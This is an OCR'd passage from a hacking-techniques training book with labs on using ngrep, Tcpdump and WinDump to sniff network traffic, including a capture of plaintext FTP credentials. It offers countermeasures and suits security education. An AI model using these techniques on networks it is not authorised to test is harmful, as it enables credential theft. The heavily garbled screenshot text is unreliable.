Fle Edt Vew WM Team ‘Windows Help

I root@localhost=/1o0l s/ngrep/naren

File Edit View Terminal Go Help
[root@localhost ngrepl# cd ngrep
[root@localhost ngrepl# ./configure

AU g @ iy

Eomv .




214 w  Practical Hacking Techniques and Countermeasures

The ngrep application will now compile to the specific machine it is on.

B Red Hat Linux - YMware Workstation e X|
BlRed k u]

File Edit ¥ew %M Team Windows Help

MEEEEEEEE=

& H
[ rooi@localhost:~/lools/ngrep/ngrep.
Elle Edit View Terminal Go Help

checking for gcc

checking for install

checking for AIX

checking how to run the C preprocessor

checking for DYNIX/ptx libseg

checking for POSIXized ISC

checking for minix/config.h

checking for ANSI C header files

checking for string.h

checking for working alloca.h

checking for alloca

checking for working const

checking for gcc to derive installation directory prefix
creating config.status

creating Makefile

creating doc/Makefile

creating test/Makefile

checking for a dumb udphdr declaration... nope

checking for pcap_open_live in -lpcap... yes

checking for pcap_restart in -lpcap... yves

updating cache ./config.cache

creating ./config.status
creating Makefile
j[root@localhost ngrepl# I

48

(3 Red Hat Linux

]

Bomw

The last step is to install the application by typing the make command.

B Red Hat Linux - ¥Mware Workstation

File Edit Yew %YM Team Windows Help
njreleapEpa®

& H
v
File Edit View Terminal Go Help

|checking for gcc
checking for install
checking for ATX
checking how to Tun the C preprocessor
checking for DYNIX/ptx libseq
checking for POSIXized ISC
checking for minix/config.h
checking for ANSI C header files
checking for string.h
checking for working alloca.h
checking for alloca
checking for working const
checking for gce to derive installation directory prefix
creating config.status
creating Makefile
creating doc/Makefile
creating test/Makefile
checking for a dumb udphdr declaration... nope

/checking for pcap_open_live in -lpcap... yes
checking for pcap_restart in -Ipcap... yes
updating cache ./config.cache
creating ./config.status
creating Makefile

| [root@localhost ngrepl# makel

[3]

R oA

=]

=]

Eemw
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The ngrep application will install.

B Red Hat Linux - ¥™Mware Workstation e x|
8 Red & o

File Edit ‘Wew %M Team ‘Windows Help
njire BaRpeEsEm
= ERE(I Hat Linux

root@localhost:~/tools/ngrep/ngrep.

Eile Edit View Terminal Go Help

checking for working const [#]
checking for gce to derive installation directory prefix

lcreating config.status

lcreating Makefile

creating doc/Makefile

creating test/Makefile

checking for a dumb udphdr declaration... nope

checking for pcap_open_live in -lpcap... yes

checking for pcap_restart in -lpcap... yes

updating cache ./config.cache

lcreating ./config.status

lcreating Makefile

[root@localhest ngrepl# make

make[1]: Entering directory /root/tools/ngrep/ngrep/regex-0.12"

gcc -g -DSTDC_HEADERS=1 -DHAVE_STRING_H=1 -DHAVE_ALLOCA_H=1 -I. -I. -c Tegex.c
make[1]: Leaving directory /root/tools/ngrep/ngrep/regex-0.12"

gce -g -02  -DSTDC_HEADERS=1 -DRETSIGTYPE=void -DHAVE_ALLOCA_H=1 -DHAVE_ALLOCA=1
-DHAVE_TF_ETHER_H=1 -D_BSD_SOURCE=1 -D__FAVOR_BSD=1 -DLINUX=1 -DHAVE_LIBPCAP=1
-DNEED_RESTART=1 -DPCAP_RESTART=pcap_restart -I. -I/usr/include -g -c ngrep.c

|gcc -g -02 -DSTDC_HEADERS=1 -DRETSIGTYPE=void -DHAVE_ALLOCA_H=1 -DHAVE_ALLOCA=1
-DHAVE_TF_ETHER_H=1 -D_BSD_SOURCE=1 -D__FAVOR_BSD=1 -DLINUX=1 -DHAVE_LIBPCAP=1
-DNEED_RESTART=1 -DPCAP_RESTART=pcap_restart -L/usr/1ib -s -o ngrep ngrep.o re—
gex.o -lpcap 2

| [root@localhost ngrepl# P

v

Comw

./ngrep

Red Hat Linux - YMware Workstation

File Edt ¥ew %M Team ‘Windows Help

MR EETEEE )

[ rootlocalhost:~/toolsingrep/ngrep.
Eile Edit View Terminal Go Help
[root@localhost ngrepl# ./ngrepl

Eemw
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The ngrep application will start. At this point ngrep will capture all traffic
to and from the computer it is installed on. To stop the capture hold down
the Ctrl key and press the C key.

*Note: Keep in mind that the traffic you see is completely dependent upon the
environment the computer “sniffing” resides in. For example, if the network
link you are using is connected to a network hub, you will be able to see all
traffic going through that hub to all other computers on that hub. If, however,
the network link you are using is connected to a switch, you will only be
able to see traffic specifically destined to/from your connection. There is a
way to “snift” traffic on a switch to show all traffic to a specific or every
computer on a switch, which will be covered in Chapter 9.

Bl Red Hat Linux - ¥Mware Workstation R
Fiz Edt View YM Team ‘Windows Help

NI EETEIEE=

root@Jocalhost:~/tools/ngrep/ngrep.
File Edit View Terminal Go Help

[root@localhost ngrepl# ./ngrep

interface: eth0 (172.16.0.0/255.255.0.0)

#

T 172.16.1.45:45145 -> 64.233.187.99:80 [AP]

GET / HTTP/1.l..Host: www.google.com..User-Agent: Mozilla/5.0 (X11; U; Linu
x 1686; en-US; rv:1.2.1) Gecko/20030225..Accept: text/xml,application/xml,a
pplication/xhtml+xml, text/html;g=0.9,text/plain;g=0.8,video/x-mng,inage/png
,image/jpeg,image/gif;g=0.2, text/css,*/#;g=0.1..Accept-Language: en-us, en;
g=0.50. .Accept-Encoding: gzip, deflate, compress;q=0.9..Accept-Charset: IS0
-8859-1, utf-8;g=0.66, *;qg=0.66..Keep-Alive: 300..Connection: keep-alive..C
ookie: PREF=ID=a63bcbafd4826388:TM=1130803911:LM=1130803911:5=09Lh7NeNCilIK

2

T 64.233.187.99:80 -> 172.16.1.45:45145 [A]
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: text/html..Content-E
ncoding: gzip..Server: GWS/2.1..Content-Length: 1346..Date: Fri, 11 Nov 200
5 22:43:15 GMT

ee..¥0..=..F;.7..6..a9...)..
wooodo+ILL N UL <N .G,

Fri Nov 11
4:38 PM

Eome
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Ngrep also allows for the redirection of the output to be saved to a file for
later analysis. This is done with the syntax of:
ngrep >> output.txt

Fle Edit View WM Team ‘Windows Help
mnfre BeReal

=10l

A Home i 57 Red Hat Linu
[hd root@localhost~/tools/ngrep/ngrep
File Edit View Terminal Go Help

[root@localhost ngrepl# ./ngrep >> output.txt

YR Y ol

Eome

The ngrep application will start. At this point all traffic to and from the
computer it is installed on is captured and saved to a file named output.txt.
To stop the capture hold down the Ctrl key and press the C key.

Bl Red Hat Linux - ¥Mware Workstation =10ix|
Pl Ed Vew W Tean wndws mep ]
M EE I ==]
[ Home () Red Hat Linux

&2 root@iocaibhost~/ioolsingrep/ngrep.
Eile Edit WView Temminal Go Help

[rootalocalhost ngrepl# ./ngrep >> output.txt
[root@localhost ngrepl# ||

A HeRER o

Cemv .
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To view the contents of the output.txt file, type:
cat output.txt

e ot o immare workstation almix
Fie Flt Vew VW Teom  Widows Hep

LRI e e - B R[]

= Home g Vndows 3000 Frofersionsl p.hm-n.mrn‘

B root 2 localhost - oolsnarep narep.

Oie Edt Yiew Temind Go Help

[root@localhost ngreple cat output, extl]

A4S Hga®e ® v

Boms .

The contents will be displayed for further review. In this case, the output
is traffic captured between the computer running ngrep to Google, indicating
that this is data from the computer going out to Google’s Web site.

*Note: Attackers are looking for more sensitive data than the user’s Web use, but
keep in mind that an attacker is looking for all unencrypted (plain text) data
and it is only a matter of time before some sensitive data (FTP logins, Telnet
communications, etc.) is captured by ngrep for analysis, as shown in the
Windows example for ngrep.

e st L Vmsre warkstation i

Fie Edt Vew W Toam Widows Hep

_uw-l;ullu:;t-'@-n_qgm'mgp
Oie Edt Yiew Temind Go Heip

]

T 172.16.1.40:139 => 171.16.1.43:1444 [AP]

awnn

T 172.16,1.45:45145 ~% 64,233.187.99:80 [AP]
GET / MTTP/1.1,.Host: www.google.con. User-Agent: Mozilla/5.0 (X11; U; Linu
x i686; en-US; Tvil.2.1) Gecke/20030225..Accept: text/xml,application/wml,a
pplication/xhimlexnl, text/hinl ig=0.9, text/plainig=0.8, video/x-mg, inage/png
Jimage/jpeg, image/gif q=0.2. text/css, */*1q=0.1. Accept-Language: en-us, en;
q=0.50, . Accept-Encoding: gzip, deflate, compressiq=0.9. Accept-Charset: IS0
-B839-1, utf-8:q=0.66, *:g=0.66..Keep-Alive: 300..Connection: keep-alive..C
ookie: PREF=IDsa63bcbafd4a26368 : ThH1120803011 114211 30R03011 : S=00LhTNeNCE 1TK
uge....

s I

T 64,233,187 00180 - 172,16.1,45145145 [A]
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: text/html..Content-E
ncoding: gzip,.Server: GWS/2.1,.Content-Length: 1346. Date: Fri, 11 Nov 200

ERF L LEEE N RN ' - SPATS «11. IR 8.1 T 3 O.. . 1D)R&. B, }

olosox.w.rl. 800, 5. »

h

W

O Fri Nov 11
441 PM

Biomeg
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For Windows

From the directory containing the ngrep application, type:

ngrep

lows 2000 Professional - ¥Mware Workstation

File Edit Wiew VM Team Windows Help

-
G EIg  asem
[SA=T =0

hstart||| 1] & 3 |] _JCHiDownloadsingrepingr.... |[@ CA\WINNT\Systemaz\... & ]Google - Microsoft Intern... |

The ngrep application will start. At this point, ngrep will capture all traffic
to and from the computer it is installed on.

lows 2000 Professional - ¥Mware Workstation

File Edit Yiew VM Team Windows Help

v1.44 <6/30,/85)
n (WinPCap is required) /ngrep.sourceforge .net
n Cworks without \thCap) ttp://packetstuff.com
Conpiled with Packet Sniffer 13 I Ritp:/microolap.consp

interface: N\ (172.16.8.8-255.255.0.8>

-l
F- @S TP
ecmw

start||| ) @ 53 || civowozdsingepingr... |[EcAWINNT Systems2\... | &]Googl - Microsoft Intern.., |
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To stop the capture, hold down the Ctrl key and press the C key.

Bl Windows 2000 Professional - ¥Mware Workstation I —(of x|

File Edit W¥iew VM Team Windows Help

MBI EEEIEETEE

05t: wuu.google.com. .Connectjon: Keep-Alive..Cooki
e (T LTI R LE 2 HI S T

—) 172 16.1.43:1461 [H]
Cnntrn i
1535 Date Sat.

.SH 20hdf1-.GDXU.

cenL L AMAGEXNY v . L

i
172.16.1.43:1461 > €4.233.187.99:80 [AP1
zintl/ensinagos/logo.git HITP/L.1..Mogept: =/

NT .co
..Clmk)e- PREF I]J 348cf575ffeﬂﬂlﬂc TM 1131!69717 LI‘I 113186991728 =7adds SxBHU
OU3KGA. ...

i
64.233.187.99:80 —> 172.16.1.43:1461 [AP]
HTTP/L 1 334 Not Modified, . Content- Type: cext/henl. . Server: GUS/2.1..Conten
t-Lengt .Date: Sat. 12 Nov 2 257 GMI

exit

74 received, B dropped

-
JoEE  Tasem
e\ 4

Dounloade papepsnarep—1 44
hstart||| ) @& ) |] _JCHDownloadsingrepingr... |[B £ WINNT\Gystem32\,.. & ]Google - Microsoft Intern..

Ngrep also allows for the redirection of the output to be saved to a file for
later analysis. This is done with the syntax of:

ngrep >> output.txt

[ windows 2000 Professional - ¥Mware Workstation j =1o)x|

File Edit Wiew VM Team Windows Help

Downloads\ngrepsngrep—1.44>ngrep >> output.txt

7117 PM

EEmw .
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Ngrep will now start capturing all data to and from the computer it is
running on and save it to a file named output.txt.

Windows 2000 Professional - ¥Mware Workstation

File Edt ¥ew %M Team ‘Windows Help

:\Downloads\ngrepsngrep—1.44>ngrep >> output.txt

NGrep for Mindows vi.44 <6,30,05)

Original version <WinPCap is reguired’ : http://ngrep.sourceforge.net
This version Cworks without WinPCap> http://packetstuff.con
Compiled with Packet Sniffer $DK v2.3 : http://microclap.cenp

M|
8 7a7em
Comew s

%ﬂstﬂrtllJ G- H —dC:\Downloadsingrepingr. .. | B\ WINNT' System32',... & |Google - Microsoft Intern.. |

To stop the capture, hold down the Ctrl key and press the C key.

Bl Windows 2000 Professional - ¥Mware Workstation

File Edt ¥ew %M Team ‘Windows Help

= http://ngrep.sourceforge.net
http://packetstuff.com
: http://microolap.comspssdk

C:\Down loads ngrep \ngrep-1.44>

-l
-7} PM
Come s

Astart|| ] @ 1 || Saciponnoadsingreping: .. || B wINT\Systemaz....
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By opening the output.txt file for analysis, it was determined that the user
logged into an FTP server. As FTP data is sent unencrypted (plain text), ngrep
easily captured the username/password. In this example:

B The username is hacker.
B The password is hacktheplanet.

8] Windows 2000 Professional - ¥Mware Workstation ] o [=]

File Edt ¥ew %M Team ‘Windows Help

(7 Windows 2000 Professional
B output - wordPad
File Edit Wiew Insert Format Help

= A E SN

T 172.16.1.43:1468 -> 172.16.0.1:53 B
e frp. hackme.net. .. ..

#

T 172.16.0.1:53 —> 172.16.1.43:1468
e FLp. haCKIE . DEE . v e v e anens Bt VivwansZinesiin
Mogaanslas

#aRE

T 192.10.197.22:21 —> 172.16.1.43:1469 [AP]
220 Serv-U FTP Server v5.0 for WinSock ready.....

##

T 172.16.1.43:1460 —3 192.10.197. 3221 [AP]
USER hacker..

#

T 192.10.197.22:21 —> 172.16.1.43:1469 [AP]
331 User name okay, need password...

##

T 172.16.1.43:1469 -> 192.10.197.22:21 [AF]

Wris5 hackrheplanet. .

#

T 192.10.197.22:21 -> 172.16.1.43:1469 [AF]
230 User logged in, proceed...

#

T 172.16.1.43:1469 -> 192.10.197.22:21 [AF]
QUIT. .

#

T 192.10.197.22:21 -» 172.16.1.43:1469 [AP]
221 Goodbye!..

#Hfexin

&5 received, 0O dropped

I~

Far Help, press F1 [T
Astart || 1] @ 51 || Bcwmmisystemszicnd...| Cycpowniosdsingrepingr... |[[E] output - wordead J B soren

[S=1 1D

*Note: Attackers are looking for any unencrypted (plain text) data that flows along
the network. Some of the items of interest include:

Usernames

Passwords

E-mails

IP addresses

Media Access Control (MAC) addresses
Router IP addresses
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Lab 43: Packet Capture — Sniffer
Exploit Data from Network Traffic: Tcpdump

Prerequisites: NULL Session

Countermeasures: Encryption, various sniffer detector applications

Description: The Tcpdump command captures packets as they traverse
the network. If run with the 1/ w flag, the data is saved to a file for
later analysis. If run with the 1/yr flag, Tcpdump will read from a saved
packet file rather than read packets from a network interface. Only
packets that match the options will be processed by Tcpdump.
Remember that all Linux commands are case sensitive.

Procedure: Compile, make, and install the application and run on the
network with the syntax of:

tcpdump <options>

From the directory containing the compressed files type tar —zxvf
tcpdump-3.9.3.tar.gz.

The files will uncompress into a new directory named tcpdump-3.9.4.

Change to the new directory by typing c¢d tcpdump-3.9.4 and pressing
Enter.

As with most Linux applications, Tcpdump must be compiled to the specific
machine it is installed on. In this example this is done by typing ./configure.

Bl Red Hat Linux - ¥Mware Workstation

File Edit Y¥ew %M Team Windows Help

I[I[I’_@@J el e El=]=]

o Ll (53 Red Hat Linux [T e
[ ro0t2 23] ftcpdump/tcpdump-3.9:4

Eile Edit View Terminal Go Help
[root@localhest tcpdump]# cd tcpdump-3.9.4
[roct@localhest tcpdump-3.9.4]# ./configure

Sl taNUASEY Eh o

Bomw
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The Tcpdump application will configure to the specific machine it is on.

B Red Hat Linux - YMware Workstation e x|
Bl Red k u]

File:

Edit

View

Team

Windows

Help

v

.checking
checking
checking
checking
checking
checking

File Edit

view Terminal Go Help

for int8_t... yes
for u_int8_t... yes
for intl6_t... yes
for u_intl6_t... vyes

r int32_t... yes

for u_int32_t... ves

checking for int64_t... yes

checking for u_int64_t... ves

checking for inttypes.h... (cached) yes

checking whether inttypes.h defines the PRI[doxul64 macros... yes
checking if sockaddr struct has sa_len member... ne

checking if unaligned accesses fail... no

checking for h_errno... yes

checking for SSLeay... /usr/
checking for DES_cbc_encrypt in -lcrypto... yes

checking openssl/evp.h usability... yes

checking openssl/evp.h presence... yes

checking for openssl/evp.h... yes

checking for a BSD-compatible install... fusr/bin/install -c
configure: creating ./config.status

config.status: creating Makefile

config.status: creating config.h

config.status: executing default-1 commands

fi[root@localhost tcpdump-3.9.4]#

Bemw

The next step is to make the executable by typing make and pressing
Enter.

[l Red Hat Linux - ¥Mware Workstation

File Edt ¥ew %M Team ‘Windows Help

njralGohlEa @

[ oot localhost:~jtoolsftcpdump/tepdiimp:3.9:4
Eile Edit View Terminal Go Help
[root@localhost tcpdump-3.9.4]# makel

Fri Nov 11
10:01 PM

Eemw
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The make command will execute.

=
File Edit Yew YM Team ‘Windows Help

wle & @ @
[ Home
|k .root@localhost:=/tools/tcpdump/tcpdiimp:3.9:4
File Edit Wiew Terminal Go Help

=3

|sed))" -I. -I/usr//include -I./missing -o dlnames.o -c ./missing/dlnames.c

gcc -02 -DHAVE_CONFIG_H -I/usr//include -I./missing -D_U_="__attribute__ ((unu
sed))" -I. -Ifusr//include -I./missing -c ./pcap_dump_ftell.c

|gce -02 -DHAVE_CONFIG_H -I/usr//include -I./missing -D_U_="__attribute__((unu

sed))" -I. -Ifusr//include -I./missing -L/usr//lib -o tcpdump addrtoname.o cpa
ck.o gmpls.o oui.o gmt2local.o ipproto.o nlpid.o 12vpn.o machdep.o parsenfsfh.o
print-802_11.0 print-ap1394.o print-ah.o print-arcnet.o print-aodv.o print-arp.o
print-ascii.o print-atalk.o print-atm.o print-beep.o print-bfd.o print-bgp.o pr
int-bootp.o print-cdp.o print-chdlc.o print-cip.o print-cnfp.o print-decp.o prin
t-decnet.o print-domain.o print-dvmrp.o print-enc.o print-egp.o print-eap.o prin
t-eigrp.o print-esp.o print-ether.o print-fddi.o print-fr.o print-gre.o print-hs
rp.o print-icmp.o print-igmp.o print-igrp.o print-ip.o print-ipcomp.o print-ipfc
.0 print-ipx.o print-isakmp.o print-isoclns.o print-juniper.o print-krb.o print-
12tp.o print-lane.o print-ldp.o print-1lc.o print-Imp.o print-lspping.o print-lw
res.o print-mobile.o print-mpls.o print-msdp.o print-nfs.o print-ntp.o print-nul
1.0 print-ospf.o print-pflog.o print-pgm.o print-pim.o print-ppp.o print-pppoe.o
print-pptp.o print-radius.o print-raw.o print-rip.o print-rsvp.o print-rx.o pri
nt-sctp.o print-sip.o print-sl.o print-sll.o print-slow.o print-snmp.o print-stp
.0 print-sunatm.o print-sunrpc.o print-symantec.o print-syslog.o print-tep.o pri
nt-telnet.o print-tftp.o print-timed.o print-token.o print-udp.o print-vjc.o pri
nt-vrrp.o print-wb.o print-zephyr.o setsignal.o tcpdump.o util.o version.o print
-smb.o smbutil.o strlcat.o strlecpy.o datalinks.o dlnames.o pecap_dump_ftell.o -1
crypto -lpcap
| [root@localhost tcpdump-3.9.4]# I

el Bg

:0 Fri Nov 11
Z 10:02 FM

Bemw

That last step is to install the executable by typing make install and
pressing Enter.

Bl Red Hat Linux - ¥Mware Workstation

=10 =]

Fie Edit Yew %M Team ‘Windows Help

nie & Gn|aeal

[ Heme | [ Windows 2000 Professional | [y
R oot localhosti~jtoolsftcpdump/tepdump:3.9:4

Eile Edit View Terminal Go Help
[root@localhest tcpdump-3.9.4]1# make installl

Fri Nov 11
10:02 PM

Bomw
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The make install command will execute.

Bl Red Hat Linux - ¥Mware Workstation

~=lofx|

File  Edit  Wiew Team Windows Help

niy & @ =
[A Fore.

oot b calio =T loolien U o T i
Eile Edit View Terminal Go Help

=

int-bootp.o print-cdp.o print-chdlec.o print-cip.o print-cnfp.o print-decp.o prin
t-decnet.o print-domain.o print-dvmrp.o print-enc.o print-egp.o print-eap.o prin
t-eigrp.o print-esp.o print-ether.o print-fddi.o print-fr.o print-gre.o print-hs
rp.o print-icmp.o print-igmp.o print-igrp.o print-ip.o print-ipcomp.o print-ipfec
.0 print-ipx.o print-isakmp.o print-isoclns.o print-juniper.o print-krb.e print-
12tp.o print-lane.o print-ldp.o print-llc.e print-1lmp.o print-lspping.o print-lw
res.o print-mobile.o print-mpls.o print-msdp.o print-nfs.o print-ntp.e print-nul
1.0 print-ospf.o print-pflog.o print-pgm.o print-pim.o print-ppp.o print-pppoe.o
print-pptp.e print-radius.o print-raw.o print-rip.o print-rsvp.o print-rx.o pri
nt-sctp.o print-sip.o print-sl.o print-sll.o print-slow.o print-snmp.o print-stp
.0 print-sunatm.o print-sunrpc.o print-symantec.o print-syslog.o print-tcp.o pri
nt-telnet.o print-tftp.o print-timed.o print-token.o print-udp.o print-vjc.o pri
nt-vrrp.o print-wb.o print-zephyr.o setsignal.o tcpdump.o util.o version.o print
-smb.o smbutil.o strlcat.o strlcpy.o datalinks.o dlnames.o pcap_dump_ftell.o -1
crypto -lpcap
[root@localhest tcpdump-3.9.4]# make install
[ -d fusr/local/sbin ] || \

(mkdir -p /fusr/local/sbin; chmod 755 fusr/local/sbin)
Jusr/bin/install -c tcpdump /fusr/local/sbin/tcpdump
[ -d fusr/local/man/manl ] || \

(mkdir -p /fusr/local/man/manl; chmod 755 /usr/local/man/manl)
/Jusr/bin/install -c¢ -m 644 ./tcpdump.l /usr/local/man/manl/tcpdump.l
| [rooct@localhost tcpdump-3.9.4]# I

4l AeEE

print-ascii.o print-atalk.o print-atm.o print-beep.o print-bfd.o print-bgp.o pr:

=]

Fri Nov 11
10:02 PM

Eemw

To execute Tcpdump

. /tcpdump

Red Hat

ux - YMware Workstation

in its most basic form, simply type:

=10l x|

File  Edit  Yiew Tesm Windows Help

{5y Red Hat Linux
root@localhost:~/loolsficpdump/tcpdump:3.9.4
File  Edit Go Help

.[routulucalhust tcpdump-3.9.4]# ./tcpdump

v

View  Terminal

Fri Nov 11
11:14 PM

Eemw
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Many sniffers have the ability to “catch all” (or almost alD) traffic by default.
Tcpdump is no different.

B Red Hat Linux - ¥YMware Workstation o [=] 3

File Edit ¥ew %M Team Windows Help

v
File Edit View Terminal Go Help

23:04:15.559840 arp who-has 172.16.1.38 (Broadcast) tell home [#]
23:04:16.618330 arp who-has 172.16.1.39 (Broadcast) tell home

23:04:17.637709 arp who-has 172.16.1.39 (Broadcast) tell home

23:04:18.664992 arp who-has win2000s-v (Broadcast) tell home

23:04:18.664996 arp reply win2000s-v is-at 00:0c:29:a3:e4:40 (oui Unknown)
23:04:18.766771 arp who-has 172.16.1.41 (Broadcast) tell home

23:04:19.693961 arp who-has 172.16.1.41 (Broadcast) tell home

23:04:20.717292 arp who-has vpc-xp-v-1 (Broadcast) tell home

23:04:21.007117 IP 172.16.1.45.bootpc > home.bootps: BOOTP/DHCP, Request [|bootp

23:04:21.734959 arp who-has vpc-xp-v-1 (Broadcast) tell home
23:04:22.772792 arp who-has win-2000-v-1 (Broadcast) tell home
23:04:22.772796 arp reply win-2000-v-1 is-at 00:0c:29:b6:40:95 (oui Unknown)
23:04:22.864325 arp who-has 172.16.1.44 (Broadcast) tell home
23:04:23.776840 arp who-has 172.16.1.44 (Broadcast) tell home
23:04:24.764854 arp who-has 172.16.1.45 (Broadcast) tell home
23:04:24.764885 arp reply 172.16.1.45 is-at 00:0c:29:4e:le:cd (oui Unknﬂwﬂ:)
23:04:24.920872 arp who-has w2kas (Broadcast) tell home

23:04:25.827120 arvp who-has w2Zkas (Broadcast) tell home

23:04:28.564518 IP 172.16.1.45.32772 > home.domain: 60535+[|domain]
23:04:28.564677 IP home.domain > 172.16.1.45.32772: 60535[|domain]

Fri Nov 11
1104 PM

Bemw

Tcepdump requires expressions (options) to instruct it to give you a more
granular result of the “sniff.” For example, to only see data incoming or
outgoing from a specific target:

tcpdump host (Target IP or Hostname)
To only see data incoming to a specific target:
tcpdump dst host (Target IP or Hostname)

To filter by TCP or UDP and only see data incoming to a specific target for
only Web or SSL traffic:

tcpdump dst host (Target IP or Hostname) && (tcp dst
port 80 or tcp dst port 443)

*Note: Tcpdump is a very good packet sniffer and is commonly used by security
professionals to review active firewalls and network traffic. The expressions
are plentiful and are covered in Appendix B.
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Another useful feature of Tcpdump is the ability to save the output to a
log file and the ability to search from the saved file instead of the live data.

To save the output to a file instead of displaying it on the screen use the
following syntax:

tepdump -w <filename>

T
File Edit ‘Wew %M Team ‘Windows Help

1 ERE(IHMLiI\IIH o RedHat
[ oot localhost:~jtoolsftcpdump/tepdiimp:3.9:4
Eile Edit View Terminal Go Help
[root@localhost tcpdump-3.9.4]1# ./tcpdump -w test.txt
tepdump: listening on ethO, link-type EN1OMB (Ethernet), capture size 68 bytes

A He@RN @ o

=
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To read captured Tcpdump files use the following syntax:

tcpdump -r <filename>

Bl Red Hat Linux - YMware Workstation

File Edit Y¥ew %M Team Windows Help

=10l x|

rooi@localhost:~/toolsficpdump/icpdump:
File Edit View Terminal Go Help

11798 win 28600 -
23:54:49.869690 IP 64.233.187.99.http > 172.16.1.45.32799: . 11798:13228(1430) a
ck 2096 win 10080

23:54:49.869745 IP 172.16.1.45.32799 > 64.233.187.99.http: . ack 13228 win 31460
23:54:49.869693 IP 64.233.187.99.http > 172.16.1.45.32799: P 13228:13312(84) ack
2096 win 10080

23:54:49.869939 IP 172.16.1.45.32799 > 64.233.187.99.http: . ack 13312 win 31460
23:54:50.465307 arp who-has win-2000-v-1 (Broadcast) tell home

23:54:50.486017 arp reply win-2000-v-1 is-at 00:0c:29:b6:40:95 (oui Unknewn)
23:54:50.587894 IP 172.16.1.45.32799 > 64.233.187.99.http: P 2096:2628(532) ack

/13312 win 31460

23:54:50.629652 arp who-has 172.16.1.44 (Broadcast) tell home

23:54:50.661170 IP 64.233.187.99.http > 172.16.1.45.32799: P 13312:14730(1418) a
ck 2628 win 11200

23:54:50.664596 IP 172.16.1.45.32799 > 64.233.187.99.http: . ack 14730 win 34320
23:54:50.665730 IP 64.233.187.99.http > 172.16.1.45.32799: P 14730:14828(98) ack
2628 win 11200

23:54:50.665784 IP 172.16.1.45.32799 > 64.233.187.99.http: . ack 14828 win 34320
23:54:52.017352 arp who-has 172.16.1.44 (Broadcast) tell home

23:54:53.536793 arp who-has 172.16.1.45 (Broadcast) tell home

23:54:53.536822 arp reply 172.16.1.45 is-at 00:0c:29:4e:le:cd (oui Unknown) !
23:54:53.666375 arp who-has w2kas (Broadcast) tell home .
23:54:54.828291 arp who-has w2kas (Broadcast) tell home

fi[root@localhost tcpdump-3.9.4]# I

v

Fri Nov 11
11:55 FM

EEmw

As with output to the screen you have granular control over the results of
the file with the use of expressions as above.

*Note: I highly recommend the use of Tcpdump as it offers a pretty good set of
expressions to filter to the desired results and it is a very proven application.
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Lab 44: Packet Capture — Sniffer
Exploit Data from Network Traffic: WinDump

Prerequisites: WinPcap

Countermeasures: Encryption, various sniffer detector applications

Description: WinDump is the Windows version of Tcpdump (refer to
Lab 43). Tt is a command-line utility that allows for the capturing of
network traffic. The output can be saved to a file for diagnoses and it
is able to run under all versions of Windows 95 and up.

*Note: WinDump 3.6.2 and older require WinPcap 2.3 and WinDump version 3.8
alpha requires WinPcap 3.0.

Procedure: From the directory containing the WinDump application exe-
cute against the target with the syntax of:

windump <options>

Windows 2000 Professional - ¥Mware Workstation .
File Edt Wew %M Team Windows Help
& =

|
o 114z am
Bomw

;;]startm &3 H 3 C:\Romnloadstindump | B C\WINNT\System32,... & Googls - Microsoft Intern... |
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The WinDump application will “sniff” the network and capture any data
destined to or from the computer “sniffing.”

*Note: Keep in mind that the traffic you see is completely dependent upon the
environment the computer “sniffing” resides in. For example, if the network
link you are using is connected to a network hub. you will be able to see all
traffic going through that hub to all other computers on that hub. If, however,
the network link you are using is connected to a switch, you will only be
able to see traffic specifically destined to your connection. There is a way to
“sniff” traffic on a switch to show all traffic to a specific or every computer

on a switch, which will be covered in Chapter 9.

Bl Windows 2000 Professional - VMware Workstation

File

Edit

View Team

Windows  Help

dhstart || ) @ 4 |

5]

8576
:27.864126 IP
8576
7.864182 IP
?.874651 IP
64240 <DF>
7.930794 IP

8576
8.844992 IP

48:28.898721 IP

:14A:28.1A3A88 IP
64240 <DF)
8.132961 IP

8576

Zﬂ 202572 IP
64113 <DF>
8. 255326 1P

n
.256856 IP

.255938 IP
8.260688 IP

722 ll].l'l 64248 CDFY
43 lﬂ'?'iﬂ IP
43:2&.385&33 IP
4@:28.421651 IP
64113 (])F)

438865 arp who-has
64.233.187.99 .88 > win—-2000-v-1.1415:

1 475338 IP
3079 win 8576
B 476167 IP
9 8576
H 43 Zﬂ 476213 IP
[DF >

P win_2600
C:\Downloadsiindump

EE=l=]

64.233.187.99.88 > win-2
64.233.187.99 .88 > win-:

win—2888-v-1.1415 > 64.233.187.99.80:
win-2880-v-1.1415 > 64.233.187.99.88:
64.233.187.99 .88 > win—-2000-v-1.1415:

win-2806-v-1.1415 > 64.233.187.99.

64.233_187.99 .88 > win—-28@00-v—-1.1415

64.233.187.99.88 > win—2800-v—1.1415:
win-2880-v-1.1415 > 64.233.187.99.88:
win-2000-uv-1.1415 > 64.233.187.99.8@:
64.233.187.99.80 > win-2800-v-1.1415=

win-2000-uv-1_.1415 > 64.233_187.99
64.233.187.99.88 > win—2000

64.233.187.99.88 > win—2800-v-1.1415=

win-2000-uv-1.1415 > 64.233.187.99.8A
1.1415 > 64.233.187.99.
64.233.187.99 .88 > win-:

win—2@80

uln ZBEB v 1 137 > 64.233.187.99.137
-1415 > 64.233.187.99.

danielle-s (Broadcast)> tell

64.233.187.99.88 > win- —1.1415

win-2 -1.1415 > 64.233_187.99

—1.1415:=

—-1.1415:

. 5361:6791(1438> ack 1|
6791:7063¢272> ack 18
. ack 7863 win 64248 (D)
1887:2272(385> ack 79
7063:7198C127> ack 22
2272:2551¢279> ack 71
7198:86B8¢1418> ack 2
8608:8891(283> ack 25
. ack 8891 win 64248 (D)
2551:2936¢385> ack 88
8891:9018C127>
2936:3215¢279> ack 70|

ack 29

. 9918:1P448(143@> ack
10448:10722¢274> ack
. ack 18722 win 64248 (|
3215:360B8¢385> ack 19
18722:18849¢127> ack

58
600:3879¢279> ack 10|

home

|[E i Systemaz'... | ©1Gasak - Mirasoft Intern... |

. 10849:12279(143@> ack|
P 1227%:12552¢273)> ack
. ack 12552 win 64248 (|

Ecm .
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WinDump also allows you to save the output to a file for further analysis
by redirecting the output to a file by typing:

windump >> output.txt

81 windows 2000 Professional - YMware Workstation ]

File Edt View WM Team Windows Help

JrEE  11:4zam
|k ~

;ﬁsmtl“ ) @& H ‘C:\Downladstindump | B C\WINNT\System32\... & ]Googl - Microsoft [ntern”.l

In this example, the output will be saved to a file named output.txt. To
stop the application, hold down the Ctrl key plus the C key.

8 Windows 2000 Professional - ¥Mware Workstation )

File Edt ¥iew %M Team Windows Help

ndumpduindunp >> output.txt
